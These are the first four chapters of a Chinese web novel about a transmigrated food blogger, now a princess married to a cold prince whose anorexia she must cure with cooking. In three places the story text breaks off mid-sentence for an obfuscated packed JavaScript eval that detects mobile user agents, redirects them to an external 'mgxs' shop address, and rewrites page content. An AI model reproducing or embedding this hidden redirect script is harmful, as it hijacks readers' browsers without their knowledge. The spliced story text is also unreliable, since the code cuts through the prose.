《王爷,求你吃一口》 1. 第 1 章 早春时节,风寒料峭,刚下过几场雨,雾气湿蒙,院中的玉兰花经受不住残暴的风吹雨打,零落成泥,只剩下几朵儿孤零零地缀在枝头。 常安宁发髻未挽,穿着烟粉色的的衣衫倚窗而坐,目光盯着远处的屋檐,若有所思。 前几日她被人推下水,原以为背后之人会在她病中再次出手,却没想到一切如常。莫非,这场针对她的谋杀只是一时兴起,而非蓄谋已久? 还未想明白,身后传来一道女声:“公主,厨房那边送来了两道点心,公主现在可要尝尝?” 一听有吃的,常安宁也不再多想,转过头看向桌边的点心。 一叠绿豆糕,一叠牛乳糕,摆盘精美,造型好看,香味扑鼻,常安宁随手捏了一块,边吃边皱眉,王府的点心精致好看,但中看不中吃啊,厨娘这是放了多少糖在里面,又甜又腻。 两种糕点各吃了一块,她便不吃了。 “春茗,剩下的你拿去给院里的人分掉,”常安宁说,“我吃不来,别浪费了。” “是,公主。”春茗应了声,端着盘子出去,与掀帘进来的春早擦肩而过,俩人交换了个眼神。 常安宁看着这一幕不明所以,等春早走近,才发觉她的眼眶通红,连忙着急地问:“春早你哭了?是不是有人欺负你了?你告诉我我帮你出气。” 常安宁穿来这个世界已有半月,春早是她睁眼见到的第一个人,小丫头年龄不大,心思纯净,让她想到了现代的邻居妹妹,平时很是关照。 一听这话,春早的委屈像是有了宣泄口,眼泪忍不住地往下流,哽咽道:“没人欺负奴婢,奴婢就是听到了一些闲言碎语,有些气不过罢了。” 常安宁福至心灵般明白了所谓的“闲言碎语”是指什么。 常安宁如今的身份是大夏朝长衡王谢怀昀的王妃,不过,她这个王妃有名无实。新婚夜穿来时,常安宁还有些紧张忐忑,后来才发现完全是多虑了,因为她连谢怀昀的面都没见着。 谢怀昀连夜带兵剿匪去了,这几乎是明晃晃地告诉众人他不待见常安宁。王府许多下人表面虽和气地称她为王妃,其实内心对她多有嘲笑。 常安宁心知肚明,却毫不在意,毕竟她向来视他人的看法如大粪。 而且,谢怀昀对她而言就是个陌生人,她为什么要在乎一个外人的态度?平白给自己添堵。 常安宁穿上鞋子下了榻,拿出帕子给她擦眼泪,说道: “王府人多口杂的,免不了总有人说三道四,你要是当真了可真就遂了他们的意,他们自己说爽了,也让你心里堵了。不值当,以后再遇到这种事就当没听见就好了。” 春早点点头,说道: “奴婢记下了。只是王爷他怎能如此待您?新婚之夜带兵剿匪,留您一人独守空房就算了,如今归来了,听闻您落水竟然连看都不来看一眼,也不曾遣人说半句问候的话。果真跟传闻中的一样冰冷无情,简直没有半点心!” 她越说越生气,愤愤的表情生动地呈现在脸上,常安宁莫名觉得有些可爱,笑出了声。 春早睁大眼睛,不解其意地问道:“公主,您笑什么?” 她心疼常安宁受了这么多的委屈,结果她却像个没事人一样,甚至还能笑得出来。 “没什么,”常安宁强忍住笑意道,“我跟王爷没见过面,没有感情,他不喜欢我,不来看我这多正常啊。” “我倒是觉得没什么,春早你与其在这里为我怒骂王爷,还不如多吃两块点心,别亏待了自己的肚子。” 春早:“……” 她说:“可您到底是王妃啊,王爷他连最基本的体面都不给您。” 常安宁摆摆手,说道:“男人心里没你,别说王妃了,是金子都没用。” 春早说着说着眼泪再一次落下来,为常安宁的未来感到忧心。 常安宁见不得小姑娘在自己面前哭,替她抹掉眼泪,温柔地说:“怎么又哭了?快别哭了,再哭都不漂亮了。” “奴婢只是觉得难过。公主幼时孤苦,如今远嫁和亲大夏不说,还偏偏遇上这么个夫婿,公主,您以后的日子该怎么办啊?” 原主是大梁国的第十九公主,光看她的排行便知大梁皇帝多子多女。 原主母亲出身低微,一次荣宠过后便有了身孕,生下常安宁之后便再无宠幸,郁郁而终。无母族庇佑,又无圣上宠爱,原主在宫中生活得异常艰难,受尽欺凌和冷眼。 大夏朝实力日渐雄厚,收复了北疆之地,此事给了大梁国不小的震撼,大梁皇帝听取群臣意见主动与大夏朝交好,派出公主和亲以结两国之好。 但自古和亲公主哪有好下场?无依无靠的常安宁自然就成了那个倒霉蛋。 “春早,”常安宁很认真地叫了她一声,说道,“你自小跟着我在后宫长大,也该知晓,男人的宠爱只能保得一时的荣宠,并不能长久。与其把未来的期望寄托在男人身上,倒不如把命运把握在自己手中,自己把日子过得舒心自在才是头等要事。” 她并不是因为安慰春早才说这番话,这恰恰也是她内心最真实的想法。 常安宁自幼父母离婚,在她印象里,爸妈少有心平气和讲话的时候,经常互相指责、辱骂甚至是动手打架。原生家庭的不幸,导致她对爱情并不抱有期待,没想到一朝穿越,原主的童年也是这么糟糕。 “可是……”春早嘴唇嚅动,还想再说些什么。 “好了,别可是了,出去吃点心去,”常安宁说,“再不吃就凉了,这种点心还是热的好吃。” 突然,一阵机械音在常安宁脑子里响起。 “叮咚!恭喜宿主成功绑定美食疗愈系统。” 系统?常安宁以为自己穿越这件事就很离奇了,没想到现在竟然还绑定了个系统。 她问道:“美食疗愈系统是干嘛的?” 系统解释道:“美食疗愈系统,就是字面意思啦!宿主你的任务对象是谢怀昀,经检测,此人患有厌食症,而宿主的主线任务就是用美食帮谢怀昀治好厌食症。” “宿主每次完成任务都可以获得幸福值,幸福值攒满后,宿主将会获得现代重生机会一次还有下半辈子花不完的钱。” 常安宁上辈子是个美食博主,最擅长两件事,一是吃饭,二是做饭,经过几年的积累,全网坐拥千万粉丝。所以,这个美食疗愈系统和她的匹配度还是挺高的。 她对现在的生活没什么不满,但她毕竟是个现代人,早已适应了现代的文明和便利。如果有机会能够回去,那她还是要尽力尝试一下的。 而且,听系统的描述,她绑定的这个任务还挺简单的。 “明白了,那我现在应该做什么?”常安宁接下了这个任务。 系统道:“与任务目标建立联系。请宿主带着一份薏米甜粥去见谢怀昀。” 常安宁刚好也有事要找谢怀昀,两件事顺道一起做了。 不过为什么是薏米甜粥呢?有什么寓意吗? 她好奇地问:“为什么是薏米甜粥?” 系统的回答言简意赅:“他爱喝。” 闻言,常安宁唤了声春茗。 “怎么了?公主。” “你去厨房看看有没有现成的薏米甜粥?有的话你带一份回来,要是没有你就带点薏仁米、大米和白糖回来,我自己做。” “是。”春茗没有多问,直接去了。这也是常安宁喊她而不喊春早的缘由。春茗也是原主的贴身丫鬟,性格稳重不爱说话,托她办事,常安宁放心。 厨房没有现成的,常安宁将带回来的薏仁米还有大米淘洗干净后一同倒入砂锅中,文火慢熬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480879|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。薏仁米健脾祛湿,容易消化吸收,常安宁煮了一大锅,想着等见完谢怀昀回来后和大家一起分着吃。 常安宁坐在小杌子上,蹲守在砂锅旁,砂锅咕嘟咕嘟冒着泡,热气凝聚在厨房里,湿气弥漫氤氲着她的眼睛,一片水润。 米粒的清香融化在水中,顺着烟雾飘进鼻子里,似乎也窜进了心里,升起一种前所未有的满足感。 见时间差不多了,常安宁掀起锅盖,用勺子搅动着,粘稠软烂,火候正好,她拿起一边的糖罐,按照自己的甜味撒了点糖进去,又煮了一会儿,熄火后盛了一小碗出来准备带去给谢怀昀。 “春早,春茗,替我更衣梳头,我要去见王爷。” 春早不知她为何在这个关节点去见谢怀昀,只担忧地说道:“公主,外面风大,您前不久落水还未养好,身子正虚弱,此刻出门恐怕会加重风寒。” “无碍,我身体什么情况我清楚得很,替我找件厚实点的衣物过来。” 春早、春茗拗不过她,只得照做。主仆三人朝着谢怀昀所住的清竹院前去。 王府占地面积极大,亭台楼阁威严耸立,长廊水榭蜿蜒曲折,等到了书房前,常安宁竟然还出了些薄汗。 春早向守在书房外的侍卫表明来意,侍卫进去通报出来时却说:“王妃娘娘,殿下此刻正在书房处理要事,无暇见您。” 不知道谢怀昀是真忙还是假忙,反正常安宁被拒绝了。她依旧是安静恬淡的模样,嘴角弧度轻轻扬起,对侍卫说道:“劳烦你再去禀告王爷,我此次前来是有要事,请王爷务必见我一面,我就在门外等王爷忙完公务。” 她本来是要走的,可谁让这个系统一直催着见面,吵得她脑子疼,关又关不掉,只能留下来。 而且,这王府中有人在暗处蛰伏着想要她的命,不知何时又会对她下手,她想要借谢怀昀的手揪出幕后之人。 毕竟,这关乎着她在王府的安危和以后的生活,生和死对她来说都是大事。 常安宁在门外站得笔直,时间一点点地过去,小腿越发酸痛,就在她坚持不住的时候,谢怀昀终于让她进去了。 常安宁内心长呼一口气,谢怀昀竟然让她等这么久。 常安宁独自一人进了书房,下意识地朝着桌边坐着的男人看去。 这还是她第一次见到谢怀昀。 谢怀昀是大夏宣平帝的弟弟,排行第九,自幼丧母,宣平帝念其年幼,将他带在身边,由皇后亲自抚养,俩人虽是兄弟,却亲如父子。谢怀昀自小便在骑射上展现了极高的天赋,十五岁带兵打仗,征战沙场,十七岁率领三万将士收复北疆三城,自此一战成名。 提到他,无人不称叹一声少年英雄。就连原主身处深宫,亦有耳闻。 谢怀昀长得极其俊美,剑眉斜飞入鬓,眉峰凌厉,桃花眼深邃如寒潭,鼻梁高挺笔直,皮肤白皙却不显病态,不像是许久未吃饭之人。 听见脚步声,谢怀昀抬眸淡淡地看了常安宁一眼,自带威压。随后抬起手中的长剑,用帕子慢条斯理地擦试着,冷厉寒光直直地照进常安宁的眼中,令她心尖一颤。 此人绝非好相处的,常安宁想。 与此同时,谢怀昀也在不动声色地打量着她。 常安宁面庞圆润娇俏,带着未脱的少女娇憨,眼睛很大,干净澄亮,睫毛纤长浓密,眨眼时宛如蝴蝶闪动,唇瓣是浅浅的樱粉色,此刻微微抿着显出几分怯意。 长得算不上倾国倾城,倒也是个妙人。 常安宁大着胆子上前,将食盒放在案桌上,柔声道:“我听闻王爷回府,特意做了点甜粥来看望王爷。” 她一靠近,谢怀昀皱了皱眉,也不知道常安宁身上熏的是什么香,味道也太浓了点。 他不喜这熏香味道,于是冷着声道:“离本王远些。” 2. 第 2 章 谢怀昀脸上是赤裸裸嫌弃的表情,常安宁咬了咬牙,她长这么大,还是头一次被人这么嫌弃! 他以为自己是什么人?要不是他是任务目标,再加上有求于他,她才不会这么讨好他。 常安宁将粥放到桌上,刚准备退后拉开距离,便听谢怀昀道:“把粥拿走,本王不喝。” 常安宁:“……” 常安宁在心里告诫自己不要生气,微微笑着,道:“既然王爷不喝,那我便端走了。” 留在这里谢怀昀肯定会让下人倒掉,多浪费多可惜啊!这粥毕竟是她辛辛苦苦亲手熬的,常安宁不舍得。 “宁远公主要是无事,就赶紧走,本王还有公务要忙。”谢怀昀不愿见她,也不想和她说话,下了逐客令。 常安宁闻言也不再委婉,开门见山道:“我此次前来确有要事,前几日我不慎落水,绝非意外,而是有人故意推我下水。这王府有人要害我性命,请王爷为我做主,找出凶手。” 穿越后,她对王府的生活没什么不满意的,毕竟有吃有喝还有人伺候,谢怀昀不喜欢她,自然不会跟她亲近,没有男人打扰,日子过得轻松愉悦。直到前几日落水,她才意识到这王府并非风平浪静,而是暗藏杀机。 要不是她会游泳,真的就命丧春日湖水中了。 她试着自己查找凶手,却因无人可用,陷入僵局,只好来找谢怀昀了。 再怎么样,他都是个手握实权的王爷,查案办事想来比她这个一无所有的公主强得多。 谢怀昀听闻她落水之事另有隐情,依旧风轻云淡的样子,反问道:“有人要杀公主,关本王何事?” 常安宁:“……” 常安宁怕他真不管,连忙道:“此事怎么与王爷无关?这事往小了说,是有人谋害于我,可我贵为王妃,这人竟然敢在王府,王爷的眼皮子底下行凶,如此猖狂行径,不就在赤裸裸地打王爷的脸吗?王爷能忍得了这口气?” “再说了,此人阴险狡诈,潜伏于暗处,今日他能对我下手,保不齐来日便会对王爷下手。我死不足惜,可王爷若是有事,王府众人怎么办?边疆百姓又该如何?” 人的本性都是趋利避害的,虽然不知对方出于何意要杀她,但她都得把这事跟谢怀昀扯上关系,引起他的重视。 谢怀昀歪头看向她,眉头轻挑,不作言语,指尖有一搭没一搭地敲击在桌上。 常安宁见他既没有插嘴,又没有打断,继续说道:“这事往大了说,圣上赐婚你我是为了结两国之好,可如今成亲不过半月便有人要害我,要是我真的溺毙在王府后花园,此事传出去叫天下百姓如何想?叫大梁皇室如何想?” “若是有心怀不轨之人故意借我之死挑起战争,造成两国动乱纷争,又该如何?打仗苦的永远都是底层百姓,我既是大梁宁远公主,又是大夏长衡王妃,实在是不愿见到此等局面。” 她跪了下去,额头伏地,诚恳道:“所以,无论如何,恳请王爷为我做主查明此事找到凶手。” 谢怀昀是个王爷,但凡有点脑子都能想明白其中利害,她都这样说了,应该会帮忙吧? 谢怀昀意味不明地冷哼一声,而后问道:“可公主又怎知——”他故意拉长音,道:“不是我要杀公主?” 常安宁下意识地“啊?”出了声,抬起头古怪地看着他,细眉微微蹙起,疑惑在眼中闪现。 谢怀昀看到她一脸认真的模样,莫名想到了府中的圆脸狸猫,反应过来才觉得不妥,连忙正色问道:“公主怎么不说话了?” 常安宁没想到他会这么问,她想了许多答案,却从未想过这一种可能性,不知从何说起。 与刚开始的不耐不同,谢怀昀此刻极有耐心,也不开口撵人了,就这样居高临下地看着跪在地上的常安宁,好整以暇地等着答案。 常安宁思索道:“直觉告诉我不会是王爷,王爷英明神武,光明磊落,绝不是在背地里暗下杀手的卑鄙之人。我信王爷,此事与王爷无关。” 谢怀昀是个王爷,想杀她易如反掌。何须等到现在? 不知道是哪句取悦到了谢怀昀,常安宁看到他罕见地笑了下,只是这笑意并不达眼底,转瞬即逝。 他爱抚地摸了下手中长剑,骨节分明的手指从剑柄一路滑至剑尖,冷冽的寒光折进他的眼里,照出了他眼中的冰凉。 常安宁看着他这无厘头的行为,心中无语。什么态度倒是说句话啊?摆弄手里的剑干什么? 然而下一秒她便明白了。 谢怀昀速度极快地将手中的剑转了个圈儿,常安宁只能看到一道雪白的剑光直冲自己颈边,随后“铿锵”一声,插入她身后的墙上,剑过留痕,一缕轻盈碎发自鬓边滑落,轻飘飘地落在衣摆上。 常安宁后知后觉地意识到死亡与自己擦肩而过,心有余悸地跌坐在地上,惊恐地看着谢怀昀。 谢怀昀站起身,睥睨着她,一字一句地道:“宁远公主,本王不耻于阴谋诡计,也不屑于对女人下手。” “你的请求本王应下了。” “若是你今后能安分守己,长衡王妃之位将一直是你的,本王也会护你周全,保你安危,可若是本王发现你图谋不轨,你将会死得很难看。” 脖子上传来一阵疼痛,常安宁手摸了下,纤白的手指上几滴血滴,扎眼得很。 她脖子流血了! 常安宁又惊又怕,只觉得谢怀昀阴沉可怕,面对她一个柔弱无助的女子,下手也不留情,同时,又有点愤怒和委屈,自己带着甜粥来看他,好声好气地和他说话,他不领情就算了竟然还伤了她。 她站起身,自嘲似的说道:“王爷多虑了,我一个无钱无权无势的和亲公主能有什么异心?又能做出什么坏事来?” 说完,她将粥装进食盒里,头也不回地出了书房。 春早见她出来,接过食盒,瞥到她脖子上的伤痕,惊呼不已:“公主,您怎么受伤了?” 常安宁摇摇头,什么都没说。 今日初见,她对谢怀昀印象十分差。这人生性多疑,阴沉冷硬,下手狠厉,跟他相处还得时刻忧心自己的小命。转念一想,他有厌食症肯定是报应,食物给他吃纯纯是糟蹋了。 回到落云院进了里屋,春茗才问道:“公主,您脖子上的伤可还疼?” 常安宁宽慰道:“小伤,无需担心,涂点药膏便好了。” 春茗看着常安宁的侧脸,有些欲言又止。 “怎么了?”常安宁看出了她的异样,问道。 春茗道:“奴婢说句僭越的话,公主头一次见王爷便带伤而归,奴婢以为,公主以后还是少与王爷接触为好。” 常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480880|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安宁的性子她还是知道的,温婉乖顺,不喜与人争斗,却在见王爷时受伤,只怕是那位王爷怀疑常安宁别有用心,特意警告。 她担心,日后常安宁次次带伤回来。她服侍她多年,实在是不忍心见到这一幕。 常安宁知道她在关心自己,拍了拍她的手,安抚道:“春茗不必为我担忧,我这伤只是看着吓人,其实早就不疼了,好好用药绝不会留下任何疤痕的。有些话你不提醒我也知道,他谢怀昀就是个有病的疯狗见人就咬,我以后肯定会离他远远的,定不会叫他再有机会伤我!” 春茗冲她摇摇头,有些话还是不能说出口的,传到王爷耳中便不好了。 晚上洗漱完毕,常安宁躺在床上复盘今天的事。 下午听谢怀昀的意思,似乎是答应下来查明落水真相,只要她不惹事生非,谢怀昀也不会来找她。 她摸上颈间的伤痕,上过了药已经不疼了。谢怀昀没想要她的命,只是在吓唬她,警告她。 常安宁能预料到这个系统任务进行下去困难重重,主要是谢怀昀不信任她,她的讨好殷勤都会被视为另有所图。不过她也不是很想与他接触,性格阴晴不定的,指不定哪天哪点就惹到了他,一命呜呼了。 其实她也不是非要回家不可,她早已没了家,也没什么眷恋的人,父母离异各自组建了新的家庭,又都有了孩子,她无论加入哪一方都显得格格不入。 她没什么追求,也没什么理想,只想做自己喜欢的事情,平安顺遂地过完这一生,没想到却经历车祸被带到古代。 她的想法还是跟前世一样,也不是非得回去。 她不想帮谢怀昀治好厌食症了,她也不想完成系统任务了,但她得确定一件事。 “叮咚”一声,系统上线了,倒是巧了,她刚想唤它出来。 “宿主你好!宿主已成功接触到任务目标,现将宿主的任务一一公布。” “任务一:为谢怀昀准备一日三餐。” “任务二:陪同谢怀昀一起吃饭,帮助他治愈厌食症。” “任务三:使谢怀昀保持心情愉快。” “完成这三项任务,均可获得幸福值。等谢怀昀厌食症治好,幸福值攒满后,宿主便可兑换终极奖励回到现代。” 常安宁:“……” 听系统的描述,常安宁嘴角忍不住抽了下,对自己的定位有了个清晰的认知——什么王妃什么宿主都是假的,谢怀昀的保姆才是真的。 “系统,你老实说,你是不是跟谢怀昀有什么关系啊?不然怎么会想着给他找个免费的保姆呢?” 系统用它那机械音尬笑了两声,打着马虎眼道:“我的运行机制就是这样的,绝无私情,宿主只需照做即可。” 常安宁没就着这个事情聊下去,问道:“除此之外呢?比如有没有什么支线任务?有没有惩罚?惩罚是什么?包括哪些啊?”她问得仔细,准备把这个系统的运行机制摸清楚。 系统警惕地问道:“宿主问这个干什么?” 但它还是说了:“支线任务只有在宿主进行主线任务时才会触发,暂时还不清楚是什么,惩罚是没有的,不过如果宿主迟迟不推主线,没有任何行动表示,必要时我会采取一些措施来督促宿主动起来。” “你说的措施会伤害到我吗?”常安宁追问。 3. 第 3 章 一连几日,常安宁都没有出去过,就待在落云院内好好养伤。那日的剑痕如今已愈合,只剩下一截浅褐色的痂,在瓷白细腻的脖颈上格外显眼。 那天晚上和系统对话,系统说:“宿主想多啦!我是那么没有人性的东西吗?” 得到了想要的回答,常安宁便拿定了主意。 系统一旦绑定无法更改,但她不做的话也不需要承担什么要命的损失。反正谢怀昀也不待见她,她就不去他跟前碍眼了,就在自己院子里好好过日子。 系统急得吱哇乱叫,日日在脑海里催着她赶紧动起来,常安宁都没当回事。 今日日光正盛,常安宁躺在杏花树下的摇椅里假寐,粉白的花瓣落在她的如墨的长发上,青绿色的衣衫上,点缀其间,衬得她整个人清丽绝尘。 “宿主,你要是再不行动,强制措施将会启动,”末了,系统还特意强调了句,“我可不是在吓唬你!” “你没看到上次我去见他,脖子受伤了吗?我伤还没养好呢,你就让我去,万一又受伤了怎么办?” 系统一吵,常安宁睡意全无。她站起身,花瓣簌簌而下,喊了声春茗。 “你去厨房拿点糯米、红茶、牛乳、砂糖、干桂花回来,今天天气这么好,我要做点奶茶喝,”常安宁不忘叮嘱,“记得多拿些回来。” 春茗很快便带着食材回来了。常安宁换了身轻便简洁的衣服便进了小厨房,准备做桂花红茶风味炒糯米奶茶,前世她就想做这个,谁知道竟然死在了采买所需食材的路上。 这种奶茶跟普通奶茶比起来所需材料会多些,工艺会更复杂些,味道会更醇香浓厚,所幸,需要的材料都是常见的,在这个资源匮乏的古代也能找得到。 常安宁将糯米倒进砂锅里,小火慢炒,谷物的焦香味道随着她手中小铲的翻滚渐渐四溢开来,等到雪白的糯米慢慢变至焦黄色,她又将准备好的茶叶以及干桂花倒进去一起翻炒,等到锅内爆出蜜糖般的暖香时,将炒料倒进瓷罐里密封储存,锁住糯米的酥脆焦香以及桂花的缠绵甜意。 “这个底料我炒得多,用不了那么多,剩下的存着等你们想喝了可以直接拿来用。”常安宁说得很详细,“不过下次用的时候必须得再锅里复炒一下,烘出来香味。” 春早在一旁看得目瞪口呆,赞叹道:“公主,您好厉害呀!味道好香,颜色好漂亮!” 常安宁笑了笑,手上不停,准备煮奶茶。 春茗进来了,拍了拍春早的肩,嗔怪道:“春早你怎么能一直在旁边看公主忙活?快帮公主打下手!” 常安宁笑笑说:“不用,我自己来便好,我很享受制作美食的过程。” 闻言,俩人也不再勉强,默默站在一边看。 常安宁将锅里剩下的继续翻炒了会,颜色澄黄明亮,很是漂亮,然后加入了些白糖,文火烘焙,等糖融化后又加入热水,干桂花星星点点,如同繁星,饱满的米粒在褐色汤底中沉沉浮浮,随后加入牛奶,小火炖煮,白色烟雾升腾而起,在柴火的加持下,奶茶表面结了一层厚厚的焦糖色奶皮子,色泽鲜亮,光是看着就要流口水了。 常安宁对此次成品非常满意,第一次尝试就大获成功。她将奶皮子轻轻用小铲拨至一边,露出底下的奶茶液体,用勺子舀着分装到小碗里。 “好了,你俩各端一碗尝尝怎么样,上面这个奶皮子可是精华,趁热吃。”常安宁说。 “公主,好香啊!光是闻着我都要流口水了!”春早说。 春茗笑道:“就你嘴馋。” 常安宁端起一碗,用鼻子细细地嗅着,沁甜的香味萦绕,慢慢渗透至心田。 久违了,奶茶! 她笑了笑,用勺子送入口中,却瞪大了眼睛,香味四溢的奶茶入口寡淡无味,她尝不出来味道了! 常安宁压下心里的慌乱,问道:“春早、春茗,你俩觉得这奶茶味道如何?” 春早不假思索道:“好喝得很!公主真是巧手,我从未喝过这般美味的茶饮!” 春茗认真思索了两秒道:“最先尝到的是糯米的焦香,而后是淡淡的桂花味,两种味道混合在一起,甜而不腻,回味无穷。公主,奴婢还是第一次见此等做法。” 常安宁勉强笑了笑,说:“好喝就多喝点,以后再给你们做其他的。” 春早春茗都能尝出味道,那就不是奶茶的问题,而是她的味觉失灵了。 想到了什么可能,常安宁唤出了系统:“系统,我味觉失灵了是不是你干的?” 系统很坦然地承认了:“由于宿主迟迟不进入主线,强制机制现已自动开启。不过宿主不必担心,味觉只是暂时失灵,只要宿主进行任务,获取1000幸福值后,宿主的味觉便会恢复。” 常安宁咬咬牙,系统这招实在是太狠了!她生平就两大爱好:做美食和吃美食。结果现在乐趣硬生生被剥夺了一半! 这对于一个资深吃货来说简直是生不如死,人生苦短,美食万千,要是一辈子都活在尝不出味道的世界里,那她还不如现在就死了呢。 常安宁重重闭了下眼睛,决定开启系统任务。谢怀昀再怎么可怕,再怎么难缠,她也要上,帮他治好厌食症。 下定决心后,她唤道:“春茗,你将奶茶装一份,随我去见王爷。” 春早纳闷道:“公主上次不还在说不愿与王爷见面吗?怎的今日改了主意?” 常安宁不能跟她说实话,便说:“我有事要跟王爷说。独乐乐不如众乐乐,这般好喝的奶茶,分着喝味道才会更好,春早你就留在院子里,将剩下的分给大家尝尝。” 春早觉得她说得有道理,乐呵呵应下道:“是,奴婢知晓了。公主真是心善。” 行至清竹院外,常安宁闻到了一股浓郁的血腥气味,而后听到了一阵板子拍打皮肉的声音,可见下手之人力道极大,毫不留情,传至耳中,令人心惊胆颤。 常安宁定了定神,迈步进了院内,瞥了眼正趴在凳子上的女子,心中惊讶。 她怎么也没想到竟然会在这里见到李冰月,李冰月惨白着一张脸,双眼失神,几缕额发被汗水打湿,黏腻地贴在脸颊上,雪白的衣衫早已被鲜血染透,顺着布料滴滴答答地往下流,洇湿了青石板,此刻已是出气多进气少,奄奄一息。 常安宁也只见过李冰月一面,当时她在后院荡秋千,李冰月主动上前行礼,俩人说了几句话,这是她俩的唯一一次见面。 后来听院里的婆子说,李冰月是谢怀昀手下副将的女儿,三岁丧母,十岁丧父,孤苦伶仃,无处可去。因其父对谢怀昀有过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480881|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救命之恩,是以谢怀昀将年幼的她接进府中好生照料着,只等到年龄了给她寻个好人家。 常安宁想不通,李冰月这是犯了何事才会被如此对待? 她还是头一次目睹这么血淋淋的场面,心揪成了一团,难受极了,对行刑之人说道:“赶快住手。” 行刑之人看了眼谢怀昀,见他点头,行礼退下了。 常安宁不忍再看李冰月的惨状,偏过头来看向檐下的谢怀昀。谢怀昀穿着一身黑色长袍,身姿挺拔如松,周身气压极低,见常安宁过来,连个多余的眼神都没分给她,直接忽视了。 常安宁行了个礼,因谢怀昀长得高,又站得高,她只能仰头看着他,问道:“王爷,不知李姑娘所犯何事?要如此对她?” 常安宁虽然觉得谢怀昀这人心狠手辣,但也没觉得他像是会滥杀无辜之人。 毕竟,谢怀昀这人在外风评还挺好的,出身高贵却吃苦耐劳,十五岁便上前线带兵打仗,战无不胜,在大梁国,他是令人闻风丧胆的“冷面阎罗”,可在大夏,他却是深受百姓爱戴的“玉面将军”。 谢怀昀淡淡看了她一眼,反问道:“怎么?公主要替她求情?” 李冰月看起来柔柔弱弱,不像是坏人。可不还有句话说,知人知面不知心,常安宁虽对她印象不错,可若真犯了什么大错,她也没办法插手。 “并非求情,我只是好奇,李姑娘到底所犯何事值得王爷这般生气,罚她板子。”常安宁道。 她以为自己会得到“无可奉告”之类的回答,却没想到谢怀昀竟然说:“本王没有生气,公主不要多想。” 常安宁:“……” 他有没有生气是重点吗?重点是李冰月为何受罚啊!常安宁一时有些搞不懂谢怀昀的脑回路。 “公主前几日托本王找寻害你落水的凶手,如今人已找到,正是李冰月,”谢怀昀道,“是杀是留,公主自行裁断吧。” 闻言,常安宁恍然大悟。难怪李冰月会受此刑罚,原来她竟是推自己下水的人! 只是她想不明白,李冰月为何要这般做? 常安宁看向不知是死是活的李冰月,心中翻滚着无数的情绪,有愤怒,有不解,还有后怕,种种心绪缠绕着,最终只化为了一声轻叹。 她吩咐道:“春茗,找几个婆子来将李姑娘送回去,好生照料着,再去请个女大夫回来替她诊治。” 李冰月身子娇弱,挨了那么多板子,还不知道有没有命活下来。 谢怀昀在一旁看着她有条不紊地吩咐下人做事,眼里闪过一抹幽光,意味不明地说了声:“公主还真是心善,对自己的仇人都能这般体贴照顾。” 常安宁极淡地笑了下,说道:“王爷误会了,并非我心善,我只是想知晓李冰月为何要害我罢了。王爷肯定是不会告知我的,要想解惑,我也只能找当事人了。” 谢怀昀冷哼一声:“公主倒是有自知之明。若是无事,公主请回吧。” “王爷,我做了点奶茶,特意带过来给王爷尝尝鲜,还请王爷赏脸品鉴一下。”她一袭青衣,金色阳光打在白嫩细腻的面庞上,笑得眉眼弯弯,连带着这满园绿色都生动了几分。 谢怀昀被她的笑容晃了下,愣了一瞬,而后偏过头去,拒绝道:“本王不吃。” 4. 第 4 章 常安宁早就预料到会是这么个结果,因此丝毫没有被拒绝的尴尬和羞赧,依旧柔柔地笑着。 系统曾和她说过,谢怀昀喜欢吃甜食。如果消息无误的话,那就只有一个可能—— 谢怀昀不喜欢她,连带着也不喜欢她带来的食物。 常安宁不在乎他的喜欢,更不会把他的讨厌当回事儿。 俩人因为一道圣旨捆绑在一起,一个是大梁的公主,一个是大夏的王爷,二人的结合早已不是两个人、两个家族间的事,而是两个国家之间的事。 大梁虽表面被大夏的武力震撼,主动臣服与大夏交好,实则背地里仍有异心,在边境蠢蠢欲动,但还未撕破这层纸糊的契约,露出底下的野心和欲望,双方便还是盟友。 哪怕表面和和气气,友好相处,也掩盖不了内心里的谨慎和防范。 政治联姻,往往身不由己。在此之前常安宁和谢怀昀从未见过面,俩人互不了解,没有感情基础,谢怀昀提防着她也在情理之中。 常安宁对自己的角色一清二楚,也知道谢怀昀的态度。若是在以前,她听到这句话肯定转身就走,美食得与懂的人分享才能拥有更多的乐趣,但现在,为了她的味觉能早日恢复,她说什么都不会再退半步。 她笑着道:“王爷,这是我才琢磨出来的配方,口感丝滑浓郁,既有米粒的焦香,又有桂花的芬芳,春早她们一致都认为很好喝,赞不绝口。我想着王爷兴许爱喝,便特意带来。” 说到这里,常安宁的语气上扬,尾音雀跃,她是发自内心的高兴。毕竟,自己亲手做的美食能够得到大家的喜欢和赞赏,怎么想都是一件非常令人开心,值得骄傲的事情。 